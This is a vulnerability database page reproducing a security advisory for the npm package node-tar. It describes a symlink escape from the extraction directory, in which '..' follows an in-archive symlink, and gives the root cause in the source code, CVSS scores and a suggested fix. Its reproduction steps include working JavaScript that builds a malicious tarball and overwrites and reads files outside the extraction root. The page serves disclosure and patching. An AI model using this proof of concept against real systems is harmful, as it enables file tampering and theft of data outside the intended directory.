GHSA-GVRF-JX37-RJV5
Vulnerability from github – Published: 2026-12-02 01:01 – Updated: 2026-12-02 01:01Summary
With default options, tar.x() / Unpack / UnpackSync can be made to create SymbolicLink entries whose targets resolve outside the extraction directory, although the README states that "Link and SymbolicLink entries are not allowed to target locations outside of the extraction folder". The trick is a .. segment that follows a symlink created earlier by the same archive:
l1 SymbolicLink -> .
esc SymbolicLink -> l1/../outside.txt (lexically "outside.txt", actually <cwd>/../outside.txt)
escdir SymbolicLink -> l1/.. (lexically ".", actually the parent of cwd)
or, to go further up (one level per in-archive directory):
p/q/r/s SymbolicLink -> ../../.. (= cwd)
x SymbolicLink -> p/q/r/s/../../../victim.txt (lexically "p/victim.txt", actually <cwd>/../../../victim.txt)
None of these entries produces a warning, while the direct form (esc -> ../outside.txt) is still rejected. The step-2 symlink of the GHSA-83g3-92jg-28cx chain (a/b/c/up -> ../.., a/b/escape -> c/up/../..) also still points outside the extraction root on 7.5.23; that fix blocked only the step-3 hardlink.
Affected versions
Tested on tar@7.5.23 (latest; main HEAD eb92e17) with Node 18 on Linux, both async and sync extraction, default options. Versions containing the linkpath sanitization added for GHSA-8qq5 / GHSA-83g3 / GHSA-9ppj appear affected.
Details
src/unpack.ts[STRIPABSOLUTEPATH](~L283-301) accepts a symlink linkpath containing..whenpath.posix.normalize(join(dirname(entry.path), linkpath))does not start with../. This is purely lexical:l1/../outside.txtnormalizes tooutside.txt.[SYMLINK](~L640-660, same logic inUnpackSync~L1099-1119) builds the components passed to[ENSURE_NO_SYMLINK]frompath.relative(cwd, path.resolve(dirname(abs), linkpath)).path.resolvecollapsesl1/..before anylstat, so the existing symlink componentl1is never inspected.- The kernel resolves
l1/..as<target of l1>/..; withl1 -> .that is the parent of the extraction directory.
Because l1 is never inspected and symlink targets resolve lazily, entry ordering and parallel async extraction do not matter.
Steps to reproduce
- Build an archive (any tool; e.g. node-tar's own
Header):js const fs = require('fs'), tar = require('tar') const hdr = (p, l) => { const b = Buffer.alloc(512); new tar.Header({ path: p, type: 'SymbolicLink', linkpath: l }).encode(b, 0); return b } fs.writeFileSync('evil.tar', Buffer.concat([hdr('l1', '.'), hdr('esc', 'l1/../outside.txt'), hdr('escdir', 'l1/..'), Buffer.alloc(1024)])) fs.writeFileSync('control.tar', Buffer.concat([hdr('esc', '../outside.txt'), Buffer.alloc(1024)])) - Extract with default options and then use the extracted tree (same usage model as the GHSA-9ppj PoC):
js fs.mkdirSync('root/extract', { recursive: true }) fs.writeFileSync('root/outside.txt', 'ORIGINAL\n'); fs.writeFileSync('root/secret.txt', 'DUMMY-SECRET\n') await tar.x({ cwd: 'root/extract', file: 'evil.tar' }) // same with sync: true fs.writeFileSync('root/extract/esc', 'PWNED\n') console.log(fs.readFileSync('root/outside.txt', 'utf8')) // PWNED console.log(fs.readFileSync('root/extract/escdir/secret.txt', 'utf8')) // DUMMY-SECRETObserved on 7.5.23 (repeated runs, async and sync):control.taris rejected with "linkpath escapes extraction directory" andoutside.txtstaysORIGINAL.evil.taryieldswarnings=[],realpath(esc)=root/outside.txt,realpath(escdir)=root;outside.txtis overwritten and the outside secret is read. The deeper variant above overwrote a file three directories abovecwd.
Impact
An attacker-supplied tarball extracted with default options can plant symlinks inside the extraction directory that point to arbitrary files or directories outside it (any depth above the extraction root, controlled by the number of in-archive directories). Any subsequent read or write of the extracted tree by the application — serving files, reading a manifest, writing build output into an extracted folder — then reaches outside the root with the privileges of the extracting user. This is the same impact as GHSA-9ppj-qmqm-q256 and GHSA-8qq5-rm4j-mr97 ("symlink poisoning"), through a different bypass.
Suggested CVSS 3.1: AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N (7.1), mirroring GHSA-83g3-92jg-28cx.
Suggested fix
For SymbolicLink entries, do not normalize the linkpath lexically before the check. Walk the raw linkpath components starting from dirname(entry.absolute), lstat each existing component before applying the next .., and reject the entry if an existing component is a symlink (the rule [ENSURE_NO_SYMLINK] already applies to hardlinks). A simpler alternative is to reject any .. segment that follows a component which currently exists as a symlink.
This issue was found with automated analysis (variant analysis) and manually verified.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-140247"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-12-02T01:01:59Z",
"nvd_published_at": "2026-12-01T18:17:29Z",
"severity": "HIGH"
},
"details": "## Summary\nWith default options, `tar.x()` / `Unpack` / `UnpackSync` can be made to create `SymbolicLink` entries whose targets resolve outside the extraction directory, although the README states that \"`Link` and `SymbolicLink` entries are not allowed to target locations outside of the extraction folder\". The trick is a `..` segment that follows a symlink created earlier by the same archive:\n\n l1 SymbolicLink -\u003e .\n esc SymbolicLink -\u003e l1/../outside.txt (lexically \"outside.txt\", actually \u003ccwd\u003e/../outside.txt)\n escdir SymbolicLink -\u003e l1/.. (lexically \".\", actually the parent of cwd)\n\nor, to go further up (one level per in-archive directory):\n\n p/q/r/s SymbolicLink -\u003e ../../.. (= cwd)\n x SymbolicLink -\u003e p/q/r/s/../../../victim.txt (lexically \"p/victim.txt\", actually \u003ccwd\u003e/../../../victim.txt)\n\nNone of these entries produces a warning, while the direct form (`esc -\u003e ../outside.txt`) is still rejected. The step-2 symlink of the GHSA-83g3-92jg-28cx chain (`a/b/c/up -\u003e ../..`, `a/b/escape -\u003e c/up/../..`) also still points outside the extraction root on 7.5.23; that fix blocked only the step-3 hardlink.\n\n## Affected versions\nTested on tar@7.5.23 (latest; main HEAD eb92e17) with Node 18 on Linux, both async and sync extraction, default options. Versions containing the linkpath sanitization added for GHSA-8qq5 / GHSA-83g3 / GHSA-9ppj appear affected.\n\n## Details\n- `src/unpack.ts` `[STRIPABSOLUTEPATH]` (~L283-301) accepts a symlink linkpath containing `..` when\n `path.posix.normalize(join(dirname(entry.path), linkpath))` does not start with `../`. This is purely lexical:\n `l1/../outside.txt` normalizes to `outside.txt`.\n- `[SYMLINK]` (~L640-660, same logic in `UnpackSync` ~L1099-1119) builds the components passed to\n `[ENSURE_NO_SYMLINK]` from `path.relative(cwd, path.resolve(dirname(abs), linkpath))`. `path.resolve` collapses\n `l1/..` before any `lstat`, so the existing symlink component `l1` is never inspected.\n- The kernel resolves `l1/..` as `\u003ctarget of l1\u003e/..`; with `l1 -\u003e .` that is the parent of the extraction directory.\n\nBecause `l1` is never inspected and symlink targets resolve lazily, entry ordering and parallel async extraction do not matter.\n\n## Steps to reproduce\n1. Build an archive (any tool; e.g. node-tar\u0027s own `Header`):\n ```js\n const fs = require(\u0027fs\u0027), tar = require(\u0027tar\u0027)\n const hdr = (p, l) =\u003e { const b = Buffer.alloc(512); new tar.Header({ path: p, type: \u0027SymbolicLink\u0027, linkpath: l }).encode(b, 0); return b }\n fs.writeFileSync(\u0027evil.tar\u0027, Buffer.concat([hdr(\u0027l1\u0027, \u0027.\u0027), hdr(\u0027esc\u0027, \u0027l1/../outside.txt\u0027), hdr(\u0027escdir\u0027, \u0027l1/..\u0027), Buffer.alloc(1024)]))\n fs.writeFileSync(\u0027control.tar\u0027, Buffer.concat([hdr(\u0027esc\u0027, \u0027../outside.txt\u0027), Buffer.alloc(1024)]))\n ```\n2. Extract with default options and then use the extracted tree (same usage model as the GHSA-9ppj PoC):\n ```js\n fs.mkdirSync(\u0027root/extract\u0027, { recursive: true })\n fs.writeFileSync(\u0027root/outside.txt\u0027, \u0027ORIGINAL\\n\u0027); fs.writeFileSync(\u0027root/secret.txt\u0027, \u0027DUMMY-SECRET\\n\u0027)\n await tar.x({ cwd: \u0027root/extract\u0027, file: \u0027evil.tar\u0027 }) // same with sync: true\n fs.writeFileSync(\u0027root/extract/esc\u0027, \u0027PWNED\\n\u0027)\n console.log(fs.readFileSync(\u0027root/outside.txt\u0027, \u0027utf8\u0027)) // PWNED\n console.log(fs.readFileSync(\u0027root/extract/escdir/secret.txt\u0027, \u0027utf8\u0027)) // DUMMY-SECRET\n ```\nObserved on 7.5.23 (repeated runs, async and sync): `control.tar` is rejected with \"linkpath escapes extraction directory\" and `outside.txt` stays `ORIGINAL`. `evil.tar` yields `warnings=[]`, `realpath(esc)` = `root/outside.txt`, `realpath(escdir)` = `root`; `outside.txt` is overwritten and the outside secret is read. The deeper variant above overwrote a file three directories above `cwd`.\n\n## Impact\nAn attacker-supplied tarball extracted with default options can plant symlinks inside the extraction directory that point to arbitrary files or directories outside it (any depth above the extraction root, controlled by the number of in-archive directories). Any subsequent read or write of the extracted tree by the application \u2014 serving files, reading a manifest, writing build output into an extracted folder \u2014 then reaches outside the root with the privileges of the extracting user. This is the same impact as GHSA-9ppj-qmqm-q256 and GHSA-8qq5-rm4j-mr97 (\"symlink poisoning\"), through a different bypass.\n\nSuggested CVSS 3.1: `AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N` (7.1), mirroring GHSA-83g3-92jg-28cx.\n\n## Suggested fix\nFor `SymbolicLink` entries, do not normalize the linkpath lexically before the check. Walk the raw linkpath components starting from `dirname(entry.absolute)`, `lstat` each existing component before applying the next `..`, and reject the entry if an existing component is a symlink (the rule `[ENSURE_NO_SYMLINK]` already applies to hardlinks). A simpler alternative is to reject any `..` segment that follows a component which currently exists as a symlink.\n\nThis issue was found with automated analysis (variant analysis) and manually verified.",
"id": "GHSA-gvrf-jx37-rjv5",
"modified": "2026-12-02T01:01:59Z",
"published": "2026-12-02T01:01:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-gvrf-jx37-rjv5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-140247"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/releases/tag/v8.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "node-tar: Symlink linkpath escape check is lexical: \u0027..\u0027 after an in-archive symlink creates symlinks outside the extraction directory"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.